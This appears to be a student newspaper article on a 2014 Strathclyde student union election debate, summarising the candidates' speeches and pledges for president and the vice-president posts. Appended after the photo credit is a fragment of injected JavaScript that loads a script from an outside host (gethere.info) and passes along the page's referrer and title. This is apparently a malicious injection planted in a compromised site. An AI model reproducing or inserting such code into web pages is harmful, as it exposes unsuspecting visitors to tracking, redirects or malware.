By Mathew R Johnstone
Candidates for the next USSA executive committee took part in a Question Time-style debate on Tuesday.
All students running for the five elected positions answered questions in the Debates Chamber of the Union. Candidates also put forward their ideas for the year ahead in short speeches.
Three incumbents running for re-election faced questions from students, including James Ferns, who, being uncontested, is almost certain to stay as Vice President of Education. He was immediately critical of the ‘meaningless phraseology’ used in student election events, and pointed out what he had done as Vice President already, including tackling mental health stigma and increasing peer support in the university.
Having exams before Christmas was the only topic Ferns was questioned about, and said that he and 70% of the student body support having exams before the holiday. His plans to change this mean reorganising the academic calendar, which he claims he will do to also prevent exam bunching and Wednesday afternoon classes.
Presidential candidates Zara Mohammed and Gary Paterson gave speeches and answered questions about their experience and ambitions for the Student Union. Zara Mohammed said she would ‘engage, support and lead’ students, while Gary Patterson’s focus was on improving the ‘student experience’.
Mohammed, a Masters student in law and Deputy President of SUMSA, also said that ‘every student deserves a voice’ at university and she would be able to represent all views. Paterson said he was passionate about students, and the union should do more to improve support.Three candidates are running for Vice President Activities and Development, making it the most contested position in this year’s elections.
4th year English literature student Claire Sally focused the benefits clubs and societies can have when looking for a job, highlighting the Star Skills awards and her aims to create more opportunities with employers.
Kyle Henry, an accountancy student, said he wanted to add Student Union of the Year to Strathclyde’s many awards. Among his ideas for next year is a Scottish Culture Week, aimed to welcome and promote integration with international students.
The final candidate Alex C. Dean said that he has experience in founding clubs, and wants to create links between academics and societies. He also responded to a joke-question about free pizza by suggesting a pizza-making workshop.
All three candidates talked about collaboration, such as better links between clubs and societies, the sports union, the Vice Presidents themselves and the entire student body.
Collaboration seemed to be involved in all campaigns this year, with both nominees for Vice President Diversity and Advocacy mentioning it in their opening remarks.
The position is being fought by Sarah Head, the current Vice Chair for this position, Women’s Officer and secretary of the LGBT society, and incumbent Roza Salih.
Roza’s speech mentioned events for varied causes, such as Black History Month, that had been organised last year, as well as looking forward to campaigns for groups such as asylum seekers and international students.
Sarah spoke about her successful campaign for gender neutral toilets in the university, and her plans to engage more productively with the sports union about liberation issues.
The candidates for Vice President Sports and Wellbeing also took part in the debate. Both current Vice President James Reid and 4th year Psychology student Mairi MacVicar were keen to show their ability in both aspects of the role.
Reid spoke about his success in the BUCS tables and with the ‘Breathing Space’ campaign for mental health awareness in sport.
MacVicar mentioned her position as captain of the equestrian club, and pledged to resolve problems between clubs and kit suppliers.
The questions that were asked showed the main difference between the candidates, as Reid argued that experience and consistency was required, while MacVicar said that a ‘fresh face’ would be beneficial to the sports union.
Approximately 40 people attended the event. Current Student President Kwaku Adjei said that while it was difficult to tell how much of an impact the debate would make on the election result, the online live stream of the event was ‘another way to engage students’.
All the candidates’ manifestos are available at strathstudents.com/elections2014.
You can read our interviews with all the candidates here.
Students can vote at pegasus.strath.ac.uk. Elections are open until March 7th, 5pm and the results will be announced on the same day, 7.30pm.
Photos: Karri Nieminens.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;